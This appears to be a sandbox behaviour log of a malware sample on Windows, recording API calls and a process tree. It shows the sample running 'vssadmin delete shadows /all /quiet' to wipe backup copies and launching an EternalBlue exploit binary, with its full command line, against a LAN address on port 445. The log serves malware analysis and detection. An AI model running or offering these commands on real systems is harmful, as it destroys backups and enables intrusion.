[0242.396] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x240) returned 0x40bef0
[0242.410] GetProcessHeap () returned 0x3f0000
[0242.411] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x40bef0, Size=0x12a) returned 0x40bef0
[0242.411] GetProcessHeap () returned 0x3f0000
[0242.411] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40bef0) returned 0x12a
[0242.411] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
[0242.411] GetProcessHeap () returned 0x3f0000
[0242.411] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe8) returned 0x40c030
[0242.411] GetProcessHeap () returned 0x3f0000
[0242.411] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x40c030, Size=0x7e) returned 0x40c030
[0242.411] GetProcessHeap () returned 0x3f0000
[0242.411] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c030) returned 0x7e
[0242.413] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0242.413] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x2eec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eec10) returned 0xffffffffffffffff
[0242.414] GetLastError () returned 0x2
[0242.414] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0x2eec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eec10) returned 0xffffffffffffffff
[0242.414] GetLastError () returned 0x2
[0242.414] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x2eec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eec10) returned 0xffffffffffffffff
[0242.415] GetLastError () returned 0x2
[0242.415] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
[0242.415] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x2eec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2eec10) returned 0x40c0c0
[0242.415] GetProcessHeap () returned 0x3f0000
[0242.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x28) returned 0x4045e0
[0242.415] FindClose (in: hFindFile=0x40c0c0 | out: hFindFile=0x40c0c0) returned 1
[0242.416] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2
[0242.416] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3
[0242.416] GetConsoleTitleW (in: lpConsoleTitle=0x2ef160, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0242.417] InitializeProcThreadAttributeList (in: lpAttributeList=0x2eef18, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2eeed8 | out: lpAttributeList=0x2eef18, lpSize=0x2eeed8) returned 1
[0242.417] UpdateProcThreadAttribute (in: lpAttributeList=0x2eef18, dwFlags=0x0, Attribute=0x60001, lpValue=0x2eeec8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2eef18, lpPreviousValue=0x0) returned 1
[0242.417] GetStartupInfoW (in: lpStartupInfo=0x2ef030 | out: lpStartupInfo=0x2ef030*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1524, hStdError=0x0))
[0242.417] GetProcessHeap () returned 0x3f0000
[0242.417] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x404610
[0242.417] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
[0242.417] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
[0242.417] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
[0242.417] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
[0242.417] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
[0242.417] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
[0242.418] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
[0242.419] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
[0242.419] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
[0242.419] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
[0242.419] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
[0242.419] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
[0242.419] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
[0242.419] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
[0242.419] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
[0242.419] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
[0242.419] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
[0242.419] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
[0242.419] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
[0242.419] GetProcessHeap () returned 0x3f0000
[0242.419] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x404610 | out: hHeap=0x3f0000) returned 1
[0242.419] GetProcessHeap () returned 0x3f0000
[0242.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x12) returned 0x408900
[0242.420] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
[0242.422] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2eef50*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin.exe delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2eef00 | out: lpCommandLine="vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0x2eef00*(hProcess=0x54, hThread=0x50, dwProcessId=0xb68, dwThreadId=0xa28)) returned 1
[0242.740] CloseHandle (hObject=0x50) returned 1
[0242.740] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
[0242.741] GetProcessHeap () returned 0x3f0000
[0242.741] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ac30 | out: hHeap=0x3f0000) returned 1
[0242.741] GetEnvironmentStringsW () returned 0x40ac30*
[0242.741] GetProcessHeap () returned 0x3f0000
[0242.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae8) returned 0x408a60
[0242.741] FreeEnvironmentStringsW (penv=0x40ac30) returned 1
[0242.741] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff)
Process:
id = "8"
image_name = "vssadmin.exe"
filename = "c:\\windows\\system32\\vssadmin.exe"
page_root = "0x6fb7c000"
os_pid = "0xb68"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "7"
os_parent_pid = "0xfe8"
cmd_line = "vssadmin.exe delete shadows /all /quiet"
cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 279
os_tid = 0xa28
Thread:
id = 281
os_tid = 0xbf0
Thread:
id = 282
os_tid = 0xe8c
Thread:
id = 283
os_tid = 0xea8
Thread:
id = 284
os_tid = 0x4fc
Process:
id = "9"
image_name = "iexplore.exe"
filename = "c:\\program files (x86)\\internet explorer\\iexplore.exe"
page_root = "0x26dde000"
os_pid = "0xb1c"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "1"
os_parent_pid = "0x604"
cmd_line = "\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome"
cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 280
os_tid = 0xcc0
Thread:
id = 293
os_tid = 0xecc
Thread:
id = 294
os_tid = 0xe90
Thread:
id = 301
os_tid = 0xe98
Thread:
id = 302
os_tid = 0xeec
Thread:
id = 303
os_tid = 0xeac
Thread:
id = 318
os_tid = 0xa54
Thread:
id = 319
os_tid = 0xa50
Thread:
id = 320
os_tid = 0xefc
Thread:
id = 321
os_tid = 0xf10
Thread:
id = 322
os_tid = 0x908
Thread:
id = 323
os_tid = 0xef0
Thread:
id = 324
os_tid = 0xef4
Thread:
id = 325
os_tid = 0xec0
Thread:
id = 326
os_tid = 0x4d4
Thread:
id = 327
os_tid = 0x5f4
Thread:
id = 329
os_tid = 0xf70
Process:
id = "10"
image_name = "vssvc.exe"
filename = "c:\\windows\\system32\\vssvc.exe"
page_root = "0x6a980000"
os_pid = "0x78c"
os_integrity_level = "0x4000"
os_privileges = "0xe60b7e890"
monitor_reason = "rpc_server"
parent_id = "8"
os_parent_pid = "0x1d8"
cmd_line = "C:\\Windows\\system32\\vssvc.exe"
cur_dir = "C:\\Windows\\system32\\"
os_username = "NT AUTHORITY\\SYSTEM"
bitness = "32"
os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:000a9a74" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]
Thread:
id = 285
os_tid = 0xa84
Thread:
id = 286
os_tid = 0x5e4
Thread:
id = 287
os_tid = 0xa78
Thread:
id = 288
os_tid = 0xeb0
[0245.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfed760 | out: lpSystemTimeAsFileTime=0xfed760*(dwLowDateTime=0x6aaf07c0, dwHighDateTime=0x1d6a96f))
[0245.066] GetCurrentProcessId () returned 0x78c
[0245.066] GetCurrentThreadId () returned 0xeb0
[0245.066] GetTickCount () returned 0x116e550
[0245.066] QueryPerformanceCounter (in: lpPerformanceCount=0xfed768 | out: lpPerformanceCount=0xfed768*=36420214425) returned 1
[0245.066] malloc (_Size=0x100) returned 0x3c8e80
Thread:
id = 289
os_tid = 0xbf8
Thread:
id = 290
os_tid = 0xa7c
Thread:
id = 291
os_tid = 0xa8c
Thread:
id = 292
os_tid = 0x734
Thread:
id = 332
os_tid = 0x734
Process:
id = "11"
image_name = "svchost.exe"
filename = "c:\\windows\\system32\\svchost.exe"
page_root = "0x6ba85000"
os_pid = "0xa68"
os_integrity_level = "0x4000"
os_privileges = "0x60814080"
monitor_reason = "rpc_server"
parent_id = "10"
os_parent_pid = "0x1d8"
cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv"
cur_dir = "C:\\Windows\\system32\\"
os_username = "NT AUTHORITY\\SYSTEM"
bitness = "32"
os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:000aa034" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]
Thread:
id = 295
os_tid = 0xe94
Thread:
id = 296
os_tid = 0x248
Thread:
id = 297
os_tid = 0x120
Thread:
id = 298
os_tid = 0xea0
Thread:
id = 299
os_tid = 0xa70
Thread:
id = 300
os_tid = 0xeb4
Thread:
id = 333
os_tid = 0xfd8
Process:
id = "12"
image_name = "svchost.exe"
filename = "c:\\windows\\system32\\svchost.exe"
page_root = "0x972d000"
os_pid = "0xc8"
os_integrity_level = "0x4000"
os_privileges = "0x60800000"
monitor_reason = "rpc_server"
parent_id = "9"
os_parent_pid = "0x1d8"
cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService"
cur_dir = "C:\\Windows\\system32\\"
os_username = "NT AUTHORITY\\Local Service"
bitness = "32"
os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dde1" [0xc000000f], "LOCAL" [0x7]
Thread:
id = 304
os_tid = 0xa6c
Thread:
id = 305
os_tid = 0xa88
Thread:
id = 306
os_tid = 0xebc
Thread:
id = 307
os_tid = 0x938
Thread:
id = 308
os_tid = 0xaf0
Thread:
id = 309
os_tid = 0x768
Thread:
id = 310
os_tid = 0x764
Thread:
id = 311
os_tid = 0x724
Thread:
id = 312
os_tid = 0x718
Thread:
id = 313
os_tid = 0x714
Thread:
id = 314
os_tid = 0x154
Thread:
id = 315
os_tid = 0x120
Thread:
id = 316
os_tid = 0x118
Thread:
id = 317
os_tid = 0xf0
Thread:
id = 334
os_tid = 0xfd4
Process:
id = "13"
image_name = "eternalblue-2.2.0.exe"
filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eternalblue-2.2.0.exe"
page_root = "0x3088a000"
os_pid = "0x494"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "5"
os_parent_pid = "0xf88"
cmd_line = "Eternalblue-2.2.0 --TargetIp 192.168.0.155 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig Eternalblue-2.2.0.log"
cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 328
os_tid = 0xf94
[0264.170] malloc (_Size=0x80) returned 0x1b1010
[0264.170] GetVersion () returned 0x1db10106
[0264.171] malloc (_Size=0x80) returned 0x1b1098
[0264.171] malloc (_Size=0x80) returned 0x1b1120
[0264.171] malloc (_Size=0x18) returned 0x1b11a8
[0264.171] malloc (_Size=0x4) returned 0x1b11c8
[0264.171] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x38
[0264.172] GetCurrentThreadId () returned 0xf94
[0264.172] GetCurrentThreadId () returned 0xf94
[0264.172] GetCurrentThreadId () returned 0xf94
[0264.172] malloc (_Size=0x4) returned 0x1b11d8
[0264.172] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x3c
[0264.172] getenv (_VarName="XML_MEM_BREAKPOINT") returned 0x0
[0264.172] getenv (_VarName="XML_MEM_TRACE") returned 0x0
[0264.172] malloc (_Size=0xc8) returned 0x1b11e8
[0264.173] malloc (_Size=0x6) returned 0x1b12b8
[0264.173] malloc (_Size=0xc) returned 0x1b12c8
[0264.173] malloc (_Size=0x9) returned 0x1b12e0
[0264.173] malloc (_Size=0xc) returned 0x1b12f8
[0264.174] malloc (_Size=0x9) returned 0x1b1310
[0264.174] malloc (_Size=0xc) returned 0x1b1328
[0264.174] malloc (_Size=0x7) returned 0x1b1340
[0264.174] malloc (_Size=0xc) returned 0x1b1350
[0264.175] malloc (_Size=0xb) returned 0x1b1368
[0264.175] malloc (_Size=0xc) returned 0x1b1380
[0264.175] malloc (_Size=0x6) returned 0x1b1398
[0264.175] malloc (_Size=0xc) returned 0x1b13a8
[0264.176] malloc (_Size=0x9) returned 0x1b13c0
[0264.176] malloc (_Size=0xc) returned 0x1b13d8
[0264.176] malloc (_Size=0x5) returned 0x1b13f0
[0264.176] malloc (_Size=0xc) returned 0x1b1400
[0264.176] GetCurrentThreadId () returned 0xf94
[0264.176] GetVersionExA (in: lpVersionInformation=0xc5f3ec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x1b11e0, dwMinorVersion=0xc5f5c4, dwBuildNumber=0xc8, dwPlatformId=0x77c6e026, szCSDVersion="Ð\x07\x1b") | out: lpVersionInformation=0xc5f3ec*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0264.177] GetCurrentThreadId () returned 0xf94
[0264.177] malloc (_Size=0x4) returned 0x1b1418
[0264.177] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x40
[0264.178] malloc (_Size=0x80) returned 0x1b2510
[0264.178] malloc (_Size=0x80) returned 0x1b2598
[0264.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc5f4e4 | out: lpSystemTimeAsFileTime=0xc5f4e4*(dwLowDateTime=0x7524f2a0, dwHighDateTime=0x1d6a96f))
[0264.178] GetCurrentProcessId () returned 0x494
[0264.178] GetCurrentThreadId () returned 0xf94
[0264.178] GetTickCount () returned 0x11729df
[0264.178] QueryPerformanceCounter (in: lpPerformanceCount=0xc5f4dc | out: lpPerformanceCount=0xc5f4dc*=38331518555) returned 1
[0264.179] malloc (_Size=0x80) returned 0x1b2620
[0264.180] malloc (_Size=0x80) returned 0x1b26a8
[0264.180] GetVersion () returned 0x1db10106
[0264.180] malloc (_Size=0x80) returned 0x1b2730
[0264.180] malloc (_Size=0x80) returned 0x1b27b8
[0264.181] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xc5fa54 | out: lpSystemTimeAsFileTime=0xc5fa54*(dwLowDateTime=0x75275400, dwHighDateTime=0x1d6a96f))
[0264.181] GetCurrentProcessId () returned 0x494
[0264.181] GetCurrentThreadId () returned 0xf94
[0264.181] GetTickCount () returned 0x11729ee
[0264.181] QueryPerformanceCounter (in: lpPerformanceCount=0xc5fa4c | out: lpPerformanceCount=0xc5fa4c*=38332400120) returned 1
[0264.188] GetModuleHandleA (lpModuleName=0x0) returned 0x11f0000
[0264.188] __set_app_type (_Type=0x1)
[0264.188] __p__fmode () returned 0x770331f4
[0264.189] __p__commode () returned 0x770331fc
[0264.189] GetVersion () returned 0x1db10106
[0264.189] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x12064d1) returned 0x0
[0264.189] __getmainargs (in: _Argc=0x1210c74, _Argv=0x1210c7c, _Env=0x1210c78, _DoWildCard=0, _StartInfo=0x1210c88 | out: _Argc=0x1210c74, _Argv=0x1210c7c, _Env=0x1210c78) returned 0
[0264.189] calloc (_Count=0x1, _Size=0x10) returned 0x1b2c00
[0264.190] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc5f7fc | out: lpWSAData=0xc5f7fc) returned 0
[0264.203] strlen (_Str="Eternalblue-2.2.0") returned 0x11
[0264.203] calloc (_Count=0x12, _Size=0x1) returned 0x1b2c18
[0264.203] strlen (_Str="Eternalblue-2.2.0") returned 0x11
[0264.203] strlen (_Str=".exe") returned 0x4
[0264.203] strlen (_Str="Eternalblue-2.2.0") returned 0x11
[0264.203] calloc (_Count=0x16, _Size=0x1) returned 0x1b2c38
[0264.203] strncpy (in: _Dest=0x1b2c38, _Source="Eternalblue-2.2.0", _Count=0x11 | out: _Dest="Eternalblue-2.2.0") returned="Eternalblue-2.2.0"
[0264.204] _mbscat (in: param_1=0x1b2c38, param_2=0x7560320c | out: param_1=0x1b2c38) returned 0x1b2c38
[0264.204] calloc (_Count=0x1, _Size=0x24) returned 0x1b2c58
[0264.204] strlen (_Str="Eternalblue-2.2.0") returned 0x11
[0264.204] calloc (_Count=0x12, _Size=0x1) returned 0x1b2c88
[0264.204] _mbscpy (in: param_1=0x1b2c88, param_2=0x1b2c18 | out: param_1=0x1b2c88) returned 0x1b2c88
[0264.204] strlen (_Str="") returned 0x0
[0264.204] calloc (_Count=0x1, _Size=0x1) returned 0x1b1428
[0264.204] _mbscpy (in: param_1=0x1b1428, param_2=0x75603208 | out: param_1=0x1b1428) returned 0x1b1428
[0264.204] strlen (_Str="urn:trch") returned 0x8
[0264.204] calloc (_Count=0x9, _Size=0x1) returned 0x1b2ca8
[0264.204] _mbscpy (in: param_1=0x1b2ca8, param_2=0x7562c190 | out: param_1=0x1b2ca8) returned 0x1b2ca8
[0264.204] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0264.204] strlen (_Str="2.1.0") returned 0x5
[0264.204] calloc (_Count=0x6, _Size=0x1) returned 0x1b2cc0
[0264.204] _mbscpy (in: param_1=0x1b2cc0, param_2=0x7562c4a0 | out: param_1=0x1b2cc0) returned 0x1b2cc0
[0264.204] calloc (_Count=0x1, _Size=0x1c) returned 0x1b2cd0
[0264.204] strlen (_Str="inputparameters") returned 0xf
[0264.205] calloc (_Count=0x10, _Size=0x1) returned 0x1b2cf8
[0264.205] _mbscpy (in: param_1=0x1b2cf8, param_2=0x756031f8 | out: param_1=0x1b2cf8) returned 0x1b2cf8
[0264.205] strlen (_Str="urn:trch") returned 0x8
[0264.205] calloc (_Count=0x9, _Size=0x1) returned 0x1b2d10
[0264.205] _mbscpy (in: param_1=0x1b2d10, param_2=0x7562c190 | out: param_1=0x1b2d10) returned 0x1b2d10
[0264.205] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0264.205] strlen (_Str="2.1.0") returned 0x5
[0264.205] calloc (_Count=0x6, _Size=0x1) returned 0x1b2d28
[0264.205] _mbscpy (in: param_1=0x1b2d28, param_2=0x7562c4a0 | out: param_1=0x1b2d28) returned 0x1b2d28
[0264.205] calloc (_Count=0x1, _Size=0x4) returned 0x1b2d38
[0264.205] calloc (_Count=0x1, _Size=0x4) returned 0x1b2d48
[0264.205] calloc (_Count=0x1, _Size=0x48) returned 0x1b2d58
[0264.205] strlen (_Str="InConfig") returned 0x8
[0264.205] calloc (_Count=0x9, _Size=0x1) returned 0x1b2da8
[0264.205] _mbscpy (in: param_1=0x1b2da8, param_2=0x756031d0 | out: param_1=0x1b2da8) returned 0x1b2da8
[0264.205] strlen (_Str="Location of input XML file") returned 0x1a
[0264.205] calloc (_Count=0x1b, _Size=0x1) returned 0x1bd628
[0264.207] _mbscpy (in: param_1=0x1bd628, param_2=0x756031dc | out: param_1=0x1bd628) returned 0x1bd628
[0264.207] strlen (_Str="LocalFile") returned 0x9
[0264.207] calloc (_Count=0xa, _Size=0x1) returned 0x1bd650
[0264.207] _mbscpy (in: param_1=0x1bd650, param_2=0x7562c208 | out: param_1=0x1bd650) returned 0x1bd650
[0264.207] strlen (_Str="Scalar") returned 0x6
[0264.207] calloc (_Count=0x7, _Size=0x1) returned 0x1bd668
[0264.207] _mbscpy (in: param_1=0x1bd668, param_2=0x7562c3f8 | out: param_1=0x1bd668) returned 0x1bd668
[0264.207] strlen (_Str="urn:trch") returned 0x8
[0264.207] calloc (_Count=0x9, _Size=0x1) returned 0x1bd690
[0264.207] _mbscpy (in: param_1=0x1bd690, param_2=0x7562c190 | out: param_1=0x1bd690) returned 0x1bd690
[0264.207] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0264.207] strlen (_Str="2.1.0") returned 0x5
[0264.207] calloc (_Count=0x6, _Size=0x1) returned 0x1bde78
[0264.207] _mbscpy (in: param_1=0x1bde78, param_2=0x7562c4a0 | out: param_1=0x1bde78) returned 0x1bde78
[0264.208] calloc (_Count=0x1, _Size=0x10) returned 0x1bd6a8
[0264.208] strlen (_Str="Eternalblue-2.2.0.xml") returned 0x15
[0264.208] calloc (_Count=0x16, _Size=0x1) returned 0x1bde88
[0264.208] _mbscpy (in: param_1=0x1bde88, param_2=0x1b2c38 | out: param_1=0x1bde88) returned 0x1bde88
[0264.209] strlen (_Str="Eternalblue-2.2.0.xml") returned 0x15
[0264.209] calloc (_Count=0x16, _Size=0x1) returned 0x1bdea8
[0264.209] _mbscpy (in: param_1=0x1bdea8, param_2=0x1b2c38 | out: param_1=0x1bdea8) returned 0x1bdea8
[0264.209] strlen (_Str="Eternalblue-2.2.0.xml") returned 0x15
